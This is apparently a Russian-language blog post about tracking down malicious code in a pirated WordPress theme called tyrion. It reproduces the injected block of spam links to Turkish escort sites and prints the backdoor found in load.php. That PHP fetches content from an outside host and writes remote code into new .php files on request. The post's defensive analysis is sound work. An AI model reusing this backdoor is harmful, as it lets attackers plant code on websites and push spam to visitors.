Сторонние темы на WordPress скаченные с сайтов сомнительного содержания не редко внутри содержат вредоносные скрипты. Удаляем такой код на одном из примеров.
Заказчик попросил найти вредоносный код в теме tyrion. В верху каждой страницы тема генерировала ссылки на сторонние внешние ресурсы в таком виде:
<a href="http://www.istanbulharemshow.com" target="_blank" title="escort bayan">escort bayan</a>
<a href="http://www.pedalebiellese.com" target="_blank" title="kartal escort">kartal escort</a>
<a href="http://www.istanbul08.com/" target="_blank" title="istanbul escort bayan">istanbul escort bayan</a>
<a href="http://cankayayurdu.com/" target="_blank" title="çankaya escort">çankaya escort</a>
<a href="http://www.oneskisehir.com/escort/eskisehir-grup-yapan-escortlar" target="_blank" title="eskisehir grup escortlar">eskisehir grup escortlar</a>
<a href="http://www.bizbeylikduzuluyuz.com/" target="_blank" title="Silivri Escort">Silivri Escort</a>
<a href="http://www.bakirkoyclub.com/" target="_blank" title="bakırköy escort">bakırköy escort</a>
<a href="http://www.cilingirsirinevler.com/" target="_blank" title="Şirinevler Escort">Şirinevler Escort</a>
<a href="http://www.mersinecza.info/" target="_blank" title="mersin escort">mersin escort</a>
<a href="http://www.bodrumevi.info/" target="_blank" title="bodrum escort">bodrum escort</a>
<a href="http://antalyaceyiz.com/" target="_blank" title="antalya escort">antalya escort</a>
<a href="http://www.sitemistanbul.com/" target="_blank" title="Ataşehir escort">Ataşehir escort</a>
<a href="http://www.fasilankara.com/" target="_blank" title="ankara escort">ankara escort</a>
<a href="http://www.halkalikardelen.com/" target="_blank" title="halkalı escort">halkalı escort</a>
<a href="http://www.ankaramerkez.com/" target="_blank" title="escort ankara">escort ankara</a>
<a href="http://www.istanbul3g.com/" target="_blank" title="istanbul escort bayan">istanbul escort bayan</a>
<a href="http://www.escortmilano.org/" target="_blank" title="ümraniye escort">ümraniye escort</a>
<a href="http://www.y34.info/" target="_blank" title="kurtköy escort">kurtköy escort</a>
<a href="http://www.j34.info/" target="_blank" title="kurtköy escort">kurtköy escort</a>
<a href="http://www.s34.info/" target="_blank" title="maltepe escort">maltepe escort</a>
<a href="http://www.g34.info/" target="_blank" title="ataşehir escort">ataşehir escort</a>
<a href="http://www.4spc.biz/" target="_blank" title="maltepe escort">maltepe escort</a>
<a href="http://www.belenescort.com/" target="_blank" title="tuzla escort">tuzla escort</a>
<a href="http://www.escortrevue.com/" target="_blank" title="kurtköy escort">kurtköy escort</a>
<a href="http://www.idescorts.com/" target="_blank" title="ümraniye escort">ümraniye escort</a>
<a href="http://www.34p.info/" target="_blank" title="pendik escort bayan">pendik escort bayan</a>
<a href="http://www.34v1.com/" target="_blank" title="kartal escort">kartal escort</a>
<a href="http://www.n34.info/" target="_blank" title="istanbul escort">istanbul escort</a>
<a href="http://www.34p4.com/" target="_blank" title="ümraniye escort">ümraniye escort</a>
<a href="http://canlidert.com" target="_blank" title="dert köşesi">dert köşesi</a>
<a href="http://www.mersinili.com" target="_blank" title="mersin escort">mersin escort</a>
<a href="http://www.mycutties.com" target="_blank" title="mersin escort">mersin escort</a>
<a href="http://www.mersinkaktus.com" target="_blank" title="mersin escort">mersin escort</a>
<a href="http://www.lojadana.com" target="_blank" title="adana escort">adana escort</a>
</h2><!DOCTYPE html!>
Пришлось потратить какое-то время, чтобы найти зловредную вставку. Бегло просмотрев тему и поискав по ключевым тегам вроде kengid3 и названиям сайтов, я подумал, что причина заражения может находится где-нибудь на самом сервере. Также поискал зашифрованные вставки, которые могли быть внедрены специализирующими функциями php, но тщетно.
В ожидание ssh доступа чтобы проверить сервер на вирусы, я ещё раз внимательно осмотрел и заметил, что вверху злоумышленник допустил невнимательность. Код заканчивался так:
А это означало только одно, что первый доктайп лишний и вообще написан не верно. Вбив в поиск !DOCTYPE html! я нашел файл отвечающий за его вывод и там лежал и наш вредоносный код. Находился он в файле load.php и выглядел так:
$s='http://a1b2cd.club/';
$x = $s.'l-'.base64_encode('http://название сайта для конфидиценальности закачика было стерто/');
if(function_exists('curl_init'))
{
$ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);
if($gitt == false){
@$gitt = file_get_contents($x);
}
}elseif(function_exists('file_get_contents')){
@$gitt = file_get_contents($x);
}
echo $gitt;
if(isset($_GET['ksfg'])){
$f=fopen($_GET['ksfg'].'.php','a');
fwrite($f,file_get_contents($s.'s-'.$_GET['ksfg']));
fclose($f);
}
echo '<!DOCTYPE html!>';
При всей тщательности маскировки кода, в конце была допущена нелепая оплошность, что и позволило найти эту вставку. Вручную пересматривать пару сотен файлов было бы ужасно.
Из этого примера мы видим, что подобные вредоносные коды каждый раз тянут информацию со стороннего сайта. Следовательно такие вставки можно искать и по ключевым словам: curl_init, curl_setopt и т.д. В темах WordPress обычно ничего не должно соединяться с «внешним миром» таким образом.